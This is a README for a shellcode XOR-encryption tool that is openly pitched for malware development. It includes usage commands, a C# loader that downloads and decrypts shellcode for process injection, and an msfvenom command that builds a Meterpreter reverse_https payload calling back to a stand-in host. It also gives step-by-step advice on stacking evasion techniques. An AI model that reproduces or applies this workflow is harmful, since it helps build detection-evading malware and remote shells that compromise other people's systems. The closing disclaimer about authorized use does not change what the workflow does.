Shellcode XOR Encryptor 🔐

Production-ready Python utility for XOR-based shellcode obfuscation — designed for malware development, adversarial security research, and authorized red team operations.

---

Features ✨

✅ XOR Encryption — Multi-byte XOR key with cyclic application
✅ Random Key Generation — Cryptographically diverse obfuscation per build
✅ C# Code Generation — Ready-to-paste decryption code for .NET exploitation
✅ CLI + Interactive Modes — Command-line or menu-driven interface
✅ Verification — Integrity checks via decryption validation
✅ Clean Output — Formatted hex arrays and C# snippets

---

Installation

git clone https://github.com/lfgrillo83/shellcode-xor-encrypt.git
cd shellcode-xor-encrypt
chmod +x xor_encrypt.py

Requirements: Python 3.6+ (no external dependencies)

---

Usage

Interactive Mode (No Arguments)

./xor_encrypt.py

Menu appears:

📄 Caminho do shellcode (ex: demon.bin): demon.bin
💾 Arquivo de saída [deixar em branco para auto]: 
🔑 Chave XOR em hex [deixar em branco para gerar]: 

---

CLI Mode

Encrypt with random key:

./xor_encrypt.py demon.bin

Output: demon.enc

Custom output filename:

./xor_encrypt.py demon.bin -o payload.enc

Use specific XOR key:

./xor_encrypt.py demon.bin -k "AE 51 E6 10 99 A1"

Encrypt + verify:

./xor_encrypt.py demon.bin -v

Full example:

./xor_encrypt.py demon.bin -o payload.enc -k "AE 51 E6 10 99 A1" -v

---

Output Example

═════════════════════════════════════════════════════════════════
📄 Arquivo original:     demon.bin
📄 Arquivo encriptado:  demon.enc
🔑 Chave XOR (hex):      ae51e61099a1
🔑 Chave XOR (C#):       new byte[] { 0xAE, 0x51, 0xE6, 0x10, 0x99, 0xA1 }
📊 Tamanho original:     789 bytes
📊 Tamanho encriptado:   789 bytes
═════════════════════════════════════════════════════════════════

📋 CÓDIGO C# (COPIE E COLE NO SEU Program.cs):

// XOR Key
byte[] xorKey = new byte[] { 0xAE, 0x51, 0xE6, 0x10, 0x99, 0xA1 };

// Encrypted shellcode
byte[] shellcode = new byte[] { 0xC6, 0x25, 0x92, ... };

// Decrypt function
for (int i = 0; i < shellcode.Length; i++)
    shellcode[i] = (byte)(shellcode[i] ^ xorKey[i % xorKey.Length]);

---

Integration with C# Malware

ProcessHollowing Example

// 1. Copy generated C# code from xor_encrypt.py output
// 2. Paste into your Program.cs

byte[] xorKey = new byte[] { 0xAE, 0x51, 0xE6, 0x10, 0x99, 0xA1 };
byte[] shellcode = new byte[] { 0xC6, 0x25, 0x92, ... };

// Decrypt in-memory
for (int i = 0; i < shellcode.Length; i++)
    shellcode[i] = (byte)(shellcode[i] ^ xorKey[i % xorKey.Length]);

// Use decrypted shellcode for injection
using (HttpClient client = new HttpClient())
{
    byte[] downloadedShellcode = client.GetByteArrayAsync(url).Result;
    
    // XOR decrypt
    for (int i = 0; i < downloadedShellcode.Length; i++)
        downloadedShellcode[i] = (byte)(downloadedShellcode[i] ^ xorKey[i % xorKey.Length]);
    
    // Inject into process...
}

---

How It Works

Encryption Algorithm

for i in range(len(data)):
    encrypted[i] = data[i] ^ key[i % len(key)]

• Strengths: Fast, simple, deterministic, easy to integrate
• Weaknesses: XOR is not cryptographically strong; vulnerable to frequency analysis and known-plaintext attacks

Security Considerations

⚠️ Use Cases:

• Malware development & obfuscation
• Authorized red team operations
• CTF challenges
• Security research in controlled environments

❌ Not Suitable For:

• Production secrets management
• Data confidentiality in multi-user systems
• Long-term sensitive data protection

Recommendation: Combine with other evasion techniques:

• Base64 encoding
• ROT13 scrambling
• Random key per build
• Runtime decryption only when needed

---

Command Reference

./xor_encrypt.py --help

Option	Description	Example
input_file	Shellcode binary to encrypt	demon.bin
-o, --output	Output filename (default: input.enc)	-o payload.enc
-k, --key	XOR key in hex format	-k "AE 51 E6 10 99 A1"
-v, --verify	Verify encryption/decryption	-v
-h, --help	Show help message

---

Workflow

1. Generate shellcode (e.g., msfvenom, custom generator)
   ↓
2. Encrypt with xor_encrypt.py
   ↓
3. Copy generated C# code
   ↓
4. Paste into your malware project
   ↓
5. Compile and execute
   ↓
6. ✅ Shellcode decrypted and injected at runtime

---

Examples

Example 1: Metasploit Payload

msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 -f raw -o meterpreter.bin
./xor_encrypt.py meterpreter.bin -o meterpreter.enc

Example 2: Beacon Shellcode

./xor_encrypt.py beacon.bin -k "AE 51 E6 10 99 A1"

Example 3: Multiple Variants

for i in {1..5}; do
    echo "=== Variant $i ==="
    ./xor_encrypt.py demon.bin -o "demon_v${i}.enc"
done

---

File Structure

shellcode-xor-encrypt/
├── xor_encrypt.py       # Main encryptor utility
├── README.md            # This file
└── .gitignore           # Git exclusions

---

Author

Luiz Grillo — SEK.io
Email: luiz.grillo@sek.io

---

Disclaimer ⚠️

This tool is designed exclusively for authorized security testing, CTF competitions, and educational purposes. Unauthorized access to computer systems is illegal. Always obtain proper authorization before performing penetration testing or red team operations.

Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal and unethical.

---

License

MIT License — See LICENSE file for details

---

Changelog

v1.0 (2026-07-25)

• Initial release
• CLI and interactive modes
• Random key generation
• C# code generation
• Verification support